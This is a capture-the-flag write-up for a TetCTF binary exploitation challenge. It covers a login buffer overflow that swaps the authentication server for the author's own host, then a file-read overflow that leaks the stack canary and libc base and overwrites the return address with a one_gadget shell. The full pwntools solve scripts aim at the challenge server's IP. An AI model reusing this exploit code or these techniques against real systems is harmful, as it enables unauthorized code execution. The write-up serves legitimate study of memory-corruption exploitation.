Challenge description

I did not solve it in time (30 minutes late T.T). However, I spent quite of lot of time on this challenge, so I might as well do a write up. Special thanks to Mystiz, fsharp, cire meat pop for helping me on this challenge.

Reverse engineering

The provided binary will connect to a remote authentication server which provides the user/password

The original authentication server is hosting on 139.162.36.205 6666 and gives the folloing response when connected.

root:$6$tet$.84DBkpbpZEcXF.WKDJJDSStwXYJir3.WSKOma1e5N20d4SDpbMPLryTcZaB7buisGAsT2GW1bdad74Hh3Ply0:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
phieulang:$6$tet$c6Gn4JRQYto4qK3o0nx.iF04g9XaR0bceVJmyjFqVplnSCkZKPJSz30tfvKbu/mNHPHC/kJdtSELbfHzRchTN.:1000:1000:,,,:/home/phieulang:/usr/bin/zsh
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin

Hash cracking? Not this way.

After login, we could have access to read file function. There are 5 files and the content of the first 4 files are constant, and seems to be dumped from /dev/urandom. The fifth file is urandom.

Vulnerbility Analysis

Bypass the login

There is a buffer overflow in the login function. See the pseudo-code from ghidra.

void login(void)

{
  ssize_t readResult;
  long in_FS_OFFSET;
  char continueLogin;
  int readSize;
  int sockFd;
  char *serverIp;
  char *usernameBuffer;
  char *passwordBuffer;
  int *loginResult;
  char *authToken;
  char password [128];
  char username [128];
  int authData [2];
  char acStack80 [8];
  undefined authPacket [56];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  serverIp = "tet.ctf";
  usernameBuffer = username;
  passwordBuffer = password;
  loginResult = authData;
  authData[0] = 0;
  authToken = acStack80;
  do {
    memset(authPacket,0,0x10);
    getServerIp(serverIp,authToken);
    printf("Username: ");
    readResult = read(0,usernameBuffer,0xb0);
    readSize = (int)readResult;

Here is an illustration.

So we can control variables on stack, one of them is the authentication server IP. Like this.

To host my own authentication server, I have compiled the following c code and used socat to serve the binary. The server needs to be accessible from the internet at port 6666. The credential is simply just root:P@ssw0rd.

#include <stdio.h>

int main(void) {
    printf("root:$y$j9T$Jh.SJVlEpZJ4VjpG7xQqI/$Ddq3Nf1sbgyS91Hy.6jhv88/gz5al3p830zEFjFWrt0:0:0:root:/root:/bin/bash\n");
    return 0;
}

socat tcp-l:6666,reuseaddr,fork EXEC:"./a.out",pty,stderr

After that, we could login as root. We now have access to the read file function.

Read file feature

There is a buffer overflow in the read file function. See the pseudo-code from ghidra.

char readBuffer [264];
//...snip...
while (true) {
    printf("How many bytes to read?");
    lVar1 = getNumber();
    size = (int)lVar1;
    if (size == -1) break;
    memset(readBuffer,0,0x100);
    sVar2 = read(ret_val3,readBuffer,(long)size);
    if (sVar2 == 0) {
        puts("No more data!");
        break;
    }
    puts(readBuffer);
}

Read premise

We can corrupt the stack by specifying a read size larger than the buffer size.

Since the readBuffer would be passed to the function puts, we can specify a specific size such that it would leak values on stack as the puts function would print until null byte was reached. We could leak the canary and libc base with this function.

Write premise

The function call read(ret_val3,readBuffer,(long)size); would read from the selected file and write to the readBuffer with the specified size. Let say we know the data inside the file on the challenge server, we can achieve write to stack by writing from the furthest address . Basically find how far is the target byte in the file based on the current reading index. Do some math to skip to the correct reading index. Read the wanted offset to write the byte to stack. Simple? See the following implementation and see how to write a target byte into a specific offset from readBuffer.

def writeByte(p, targetByte, offset):
    global read_index
    log.info(f"writeByte() targetByte : {hex(targetByte)} offset : {offset} read_index : {read_index}")
    with open('./data/file.bin','rb') as fp:
        fp.seek(read_index)
        data = fp.read()
    distance = data[offset:].index(targetByte) + 1 + offset
    idx = distance - offset
    skip_count = idx//BUF_SIZE
    final_read_size = idx%BUF_SIZE
    for i in range(skip_count):
        p.sendlineafter(b"read?",f"{BUF_SIZE}".encode())
        p.sendlineafter(b"read?",f"{final_read_size}".encode())
    p.sendlineafter(b"read?",f"{offset}".encode())
    read_index += distance

Exploitation

Since we have both read and write premise, we could achieve code execution by overwriting the return address. Use one_gadget to find a decent gadget and try to satisfy the conditions. Dont forget to fix the canary when you leave the read file function.

Here is a nice screenshot.

TetCTF{w4rm_uP_ch4lL3ng3__g0Od_g4m3!}

Solve script

This script is used to dump file 1 on the challenge server:

from pwn import *

read_index = 0
bytes_to_read = 264
sleep_secs = 2
question = b"How many bytes to read?"
file_index = 1
with open("./data/file.bin",'rb') as fp:
    old_data = fp.read(read_index)
with open("./data/file.bin",'wb') as fp:
    fp.write(old_data)
    while True:
        print(f'Reconnect read_index : {read_index}')
        p = remote("139.162.36.205", 31337)
        p.sendlineafter(b"Your choice: ", b"1")
        p.sendlineafter(b"Username: ", b"root\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa198.199.78.86")
        p.sendlineafter(b"Password: ", b"P@ssw0rd")
        p.sendlineafter(b"Your choice: ", b"2")
        p.sendlineafter(b"Enter the index of the file to read: ", str(file_index).encode())
        try:
            if read_index == 0:
                p.sendlineafter(question, str(bytes_to_read).encode())
            else:
                steps = read_index // bytes_to_read
                off = read_index % bytes_to_read
                for i in range(steps):
                    p.sendlineafter(question, str(bytes_to_read).encode())
                if off != 0:
                    p.sendlineafter(question, str(off).encode())
                p.sendlineafter(question, str(bytes_to_read).encode())

            a = p.recv(bytes_to_read)
            print(f"{a}")
            if(len(a) < bytes_to_read):
                read_index += len(a) + 1
                a += b'\x00'
            else:
                read_index += len(a)
            fp.write(a)
            p.close()
            if read_index > 20000:
                break
        except Exception as e:
            print(f'Error {e}')
            p.close()
            continue     
from pwn import *
import binascii

context.log_level = "info"

# 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL
#   rbp == NULL || (u16)[rbp] == NULL

# 0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xebcf8 execve("/bin/sh", rsi, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL

read_index = 0
BUF_SIZE = 264
def readFile(p, idx):
    p.sendlineafter(b"Your choice:",b"2")
    p.sendlineafter(b"Enter the index of the file to read:",f"{idx}".encode())

def readBytes(p, size, readSize):
    global read_index
    try:
        with open('./data/file.bin','rb') as fp:
            fp.seek(read_index)
            data = fp.read()
            p.sendlineafter(b"read?",f"{size}".encode())
            log.debug(f'DUMP: {binascii.hexlify(data[:size])}')
            tmp = p.recv(readSize)
            read_index += size
            while(len(tmp) < readSize):
                log.debug(f"readBytes read {readSize} got {len(tmp)}")
                p.send(f'{size}'.encode())
                log.debug(f'DUMP: {binascii.hexlify(data[:size])}')
                tmp = p.recv(readSize)
                read_index += size
            return tmp
    except Exception as e:
        log.debug(f"readByte error {e}")


def writeByte(p, targetByte, offset):
    global read_index
    log.info(f"writeByte() targetByte : {hex(targetByte)} offset : {offset} read_index : {read_index}")
    with open('./data/file.bin','rb') as fp:
        fp.seek(read_index)
        data = fp.read()
    distance = data[offset:].index(targetByte) + 1 + offset  #Look for target Byte that is at least offset away from start. Off by 1
    
    idx = distance - offset
    skip_count = idx//BUF_SIZE
    final_read_size = idx%BUF_SIZE
    log.debug(f"distance : {distance} idx : {idx} skip_count : {skip_count} final_read_size : {final_read_size}")
    for i in range(skip_count):
        p.sendlineafter(b"read?",f"{BUF_SIZE}".encode())
        log.debug(f'DUMP: {binascii.hexlify(data[BUF_SIZE*i:BUF_SIZE*i+BUF_SIZE])}')
    if not final_read_size == 0:
        p.sendlineafter(b"read?",f"{final_read_size}".encode())
        log.debug(f'DUMP: {binascii.hexlify(data[BUF_SIZE*skip_count:BUF_SIZE*skip_count+final_read_size])}')
    p.sendlineafter(b"read?",f"{offset}".encode())
    log.debug(f'DUMP: {binascii.hexlify(data[BUF_SIZE*skip_count+final_read_size:BUF_SIZE*skip_count+final_read_size+offset])}')
    read_index += distance

function_offset = 0x7feedf585d90 - 0x007feedf55c000

# p = process('./chall')
# gdb.attach(p)
p = remote("139.162.36.205",31337)

#Login
p.sendlineafter(b"Your choice:",b"1")
p.sendlineafter(b"Username:",b"root\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa198.199.78.86")
p.sendlineafter(b"Password:",b"P@ssw0rd")

readFile(p, 1)
# Get canary
offset_canary = BUF_SIZE+1
leak = readBytes(p,offset_canary, offset_canary+7)
canary = u64(b'\x00'+ leak[offset_canary:offset_canary+7])
log.info(f"canary : {hex(canary)}")

# Get libc_base
offset_functon = BUF_SIZE+32
leak = readBytes(p,offset_functon, offset_functon+6)
function_leak = u64(leak[offset_functon:offset_functon+6] + b'\x00\x00') #__libc_start_call_main+128
log.info(f"__libc_start_call_main+128 : {hex(function_leak)}")
libc_base = function_leak - function_offset
log.info(f"libc_base base : {hex(libc_base)}")

#Calculate gadget address
gadget = 0x50a37 + libc_base
# gadget = 0x616161616161
log.info(f"one gadget : {hex(gadget)}")

#Rewrite return address
return_offset = BUF_SIZE+16
for idx,byte in zip(range(return_offset+8,return_offset,-1),p64(gadget)[::-1]):
    writeByte(p,byte,idx)

#Rewrite rbp
rbp_offset = BUF_SIZE + 8
for idx,byte in zip(range(rbp_offset+8,rbp_offset,-1),p64(0)[::-1]):
    writeByte(p,byte,idx)

#Rewrite canary
for idx,byte in zip(range(BUF_SIZE+8,BUF_SIZE,-1),p64(canary)[::-1]):
    writeByte(p,byte,idx)

# Input 0 and enter to trigger the return
p.interactive()